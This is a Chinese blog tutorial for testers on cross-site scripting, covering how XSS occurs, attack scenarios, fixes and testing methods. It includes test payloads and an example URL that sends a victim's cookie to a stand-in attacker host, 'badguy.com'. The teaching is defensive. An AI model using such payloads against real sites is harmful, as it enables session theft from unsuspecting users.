【系统安全】Web安全测试之XSS

最新推荐文章于 2023-10-25 16:36:21 发布
最新推荐文章于 2023-10-25 16:36:21 发布
阅读量126 收藏
点赞数
分类专栏： 系统安全 文章标签： web安全 系统安全 javascript ViewUI
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sun80264629/article/details/84896555
版权

XSS 全称(Cross Site Scripting) 跨站脚本攻击， 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的.  比如获取用户的Cookie，导航到恶意网站,携带木马等。

作为测试人员，需要了解XSS的原理，攻击场景，如何修复。 才能有效的防止XSS的发生。

 

阅读目录

  1. XSS 是如何发生的
  2. HTML Encode
  3. XSS 攻击场景
  4. XSS漏洞的修复
  5. 如何测试XSS漏洞
  6. HTML Encode 和URL Encode的区别
  7. 浏览器中的XSS过滤器
  8. ASP.NET中的XSS安全机制

XSS 是如何发生的呢

假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入，如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

 

或者用户输入的是  "οnfοcus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力，取决于用户输入了什么样的脚本

 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

 

HTML Encode

XSS之所以会发生， 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号"， “单引号”，“引号” 之类的特殊字符进行编码。

在C#中已经提供了现成的方法，只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  （需要引用System.Web程序集）

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

 

XSS 攻击场景

1. Dom-Based XSS 漏洞 攻击过程如下

Tom 发现了Victim.com中的一个页面有XSS漏洞，

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

复制代码 
<html>
　　<title></title>
　　<body>
　　　　Results  for  <%Reequest.QueryString("term")%>
　　　　...
　　</body>
</html>
复制代码

Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件，QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL， 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

 

2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下

Alex发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，

Alex发布了一篇文章，文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候，嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走。

 

Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户.

 

XSS 漏洞修复

原则：　不相信客户输入的数据
注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如：　年龄的textbox中，只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签， 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "οnclick=", "onfocus" 等等。

如何测试XSS漏洞

方法一：  查看代码，查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单，以及cookie.  例如在ASP的程序中，通过Request对象获取客户端的变量

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理， 那么这个变量就存在一个XSS漏洞

 

 方法二：　准备测试脚本，

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"οnclick="alert(document.cookie)

 在网页中的Textbox或者其他能输入数据的地方，输入这些测试脚本， 看能不能弹出对话框，能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器， 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

 

方法三:  自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单，只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中，我们的XSS测试脚本是否已经注入进去了。

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。 

HTML编码前面已经介绍过了，关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

 

所谓URL编码就是：　把所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数，空格则编码为加号（+）

 

在C#中已经提供了现成的方法，只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  （需要引用System.Web程序集）

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS， 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8，IE9，Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

 

 如果需要做测试， 最好使用IE7。

 ASP.NET中的XSS安全机制

 ASP.NET中有防范XSS的机制，对提交的表单会自动检查是否存在XSS，当用户试图输入XSS代码的时候，ASP.NET会抛出一个错误如下图

很多程序员对安全没有概念， 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。

如果想禁止这个安全特性， 可以通过 <%@  Page  validateRequest=“false"  %>

Vv王蓁蓁
关注
专栏目录
XSS攻击实例1
01-11
简单让你了解xss攻击。 项目基于Asp.net 框架，VS2010下创建，C#语言
Web安全测试之XSS
weixin_34234829的博客
03-21 388
XSS 全称(Cross Site Scripting) 跨站脚本***， 是Web程序中最常见的漏洞。指***者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到***者的目的. 比如获取用户的Cookie，导航到恶意网站,携带***等。 作为测试人员，需要了解XSS的原理，***场景，如何修复。 才能有效...
XSS攻击
kun blog
04-02 755
XSS攻击 简介 跨站脚本攻击（Cross,Site,Script,为了区别CSS，故叫XSS）指的是恶意攻击者往Web应用里插入恶意代码，当用户浏览该网站时，嵌入Web页面的代码会自动执行，达到恶意用户的特殊目的。 攻击原理 因为浏览器本身的设计缺陷，浏览器只负责解释执行html+css+javascript代码，并不会检验其安全性。故如果你的服务器对没有对XSS漏洞准备安全的预防措施，...
AntiXss攻击防止的C#代码文件
04-01
AntiXss攻击防止的C#代码文件，AntiXss攻击防止的C#代码文件
XSS攻击与防范
qq_44675204的博客
08-10 429
XSS攻击：跨站脚本攻击（Cross Site Scripting），简单来说就是攻击者想尽一切办法将可执行的代码注入到网页中。 客户端的XSS攻击主要是DOM型，取出和执行恶意代码由浏览器端完成，属于JavaScript自身的安全漏洞。 服务端的XSS攻击主要分为：存储型与反射型。 防范方法： 1、转义字符 如escapeHTML() 方法将HTML元素编码，CSS编码，JS编码，URL编码等等，避免拼接HTML。 2、增加攻击难度（配置CSP） CSP本质上就是建立白名单，开发者明确告诉浏览器哪些外部
xsser_platform:《 Web安全攻防：渗透测试实战指南》 XSS测试平台原始码
03-23
“xsser_platform”是一个与Web安全相关的项目，特别是针对XSS（跨站脚本攻击）的测试平台。这个平台是《Web安全攻防：渗透测试实战指南》一书中的实践工具，提供了对XSS漏洞进行探测和分析的功能。"原始码"表明这是...
网络安全、web安全、渗透测试之笔试总结（二）
10-14
网络安全、Web 安全、渗透测试之笔试总结（二） 在这篇文章中，我们将对网络安全、Web 安全和渗透测试进行总结，涵盖对称加密、非对称加密、同源策略、Cookie 存储、XSS 攻击、TCP 和 UDP 的区别、SYN 攻击、证书...
WEB安全测试资料汇总.rar
02-13
3. **安全测试培训PPT**：这类材料提供了系统化的学习路径，涵盖了Web安全的基础概念、常见威胁、防御策略以及测试技巧。通过PPT，我们可以以视觉化的方式快速掌握核心概念，并为团队培训提供便利。 4. **安全测试...
web安全渗透测试.7z
04-08
在Web安全领域，渗透测试常常涵盖SQL注入、XSS攻击、文件包含漏洞、命令注入、权限绕过等测试项目。 【压缩包子文件的文件名称列表】 1. **lanmp.sh** - 这可能是一个安装LAMP（Linux, Apache, MySQL, PHP）环境的...
安全漏洞系列（一）---XSS漏洞解决方案（C# MVC）
weixin_30470643的博客
06-27 1696
参考地址：https://www.cnblogs.com/sagecheng/p/9462239.html 测试项目：MVCDemo 一、XSS漏洞定义 　　XSS攻击全称跨站脚本攻击，它允许恶意web用户将代码（如：html代码）植入到页面上，当访问到该页面时，嵌入到页面的html代码会自动执行，从而达到恶意攻击的目的。 二、解决方案 　　1.新建立一个XSSHelper帮助类 ...
跨域问题，防止表单重复提交，防止XSS攻击
qq_43868329的博客
02-06 387
跨域问题 1.设置请求头 代码： b_prokect <input type="text" name="username" id="username"><input type="button" value="提交" name="button" id="button"> <script type="text/javascript" src="js/jquery-1.8...
跨站脚本攻击XSS（Cross Site Scripting）总结
野原新之助
01-31 1151
XSS是指开发者在开发网页时，对用户的输入没有进行安全过滤，导致用户在可以输入内容的地方，插入脚本语句，执行恶意脚本代码，可以对数据库、服务器、用户等造成影响和危害，危险等级很高，也很常见。
防止XSS攻击的方案
qq_37237495的博客
11-14 615
防止XSS攻击 Cookie 的HttpOnly属性 Cookie 的HttpOnly属性是Cookie的扩展功能，它使JavaScript脚本无法获得Cookie。其主要目的为防止跨站脚本攻击（Cross-site scripting, XSS）对Cookie的信息窃取。 发送指定HttpOnly属性的Cookie的方法如下所示： Set-Cookie: name=value; HttpOn...
报错 | Access to XMLHttpRequest at ‘http://www.xxxxxxx.cn/xxxxx/xxxxx/xxxxx/login‘ from origin
热门推荐
A123ppleQueen的博客
11-22 49万+
Access to XMLHttpRequest at 'http://www.xxxxxxx.cn/xxxxx/xxxxx/xxxxx/login' from origin 'http://xx.x.x.xx:xxxx' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is pre
45. XSS篇——XSS过滤绕过技巧
Fly_鹏程万里
03-20 2万+
无意中发现了一个巨牛巨牛的人工智能教程，忍不住分享一下给大家。教程不仅是零基础，通俗易懂，小白也能学，而且非常风趣幽默，还时不时有内涵段子，像看小说一样，哈哈～我正在学习中，觉得太牛了，所以分享给大家。点这里可以跳转到教程！ 改变大小写 在测试过程中，我们可以改变测试语句的大小写来绕过XSS规则： 比如：<script>alert(“xss”);</script>可以...
Web安全笔记：XSS跨站脚本
ZTao-z的博客
11-17 413
Web安全：XSS跨站脚本
XSS攻击与防御
snert的专栏
11-09 405
网络安全
常用的渗透测试工具(含安装教程&使用方法)
最新发布
MachineGunJoe666
10-25 381
SQLMap是一个自动化的SQL注入工具，其主要功能是扫描、发现并利用给定URL的SQL注入漏洞，内置了很多绕过插件，支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。● 基于布尔类型的盲注，即可以根据返回页面判断条件真假的注入。
深入理解Web安全测试：XSS攻击实例与防御策略
"Web安全测试之XSS实例讲解" 在Web应用程序的安全领域，XSS（Cross-Site Scripting）是一种常见的安全漏洞，它允许攻击者在用户的浏览器中注入并执行恶意脚本。攻击者通常利用这种漏洞来窃取用户的敏感信息，如...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值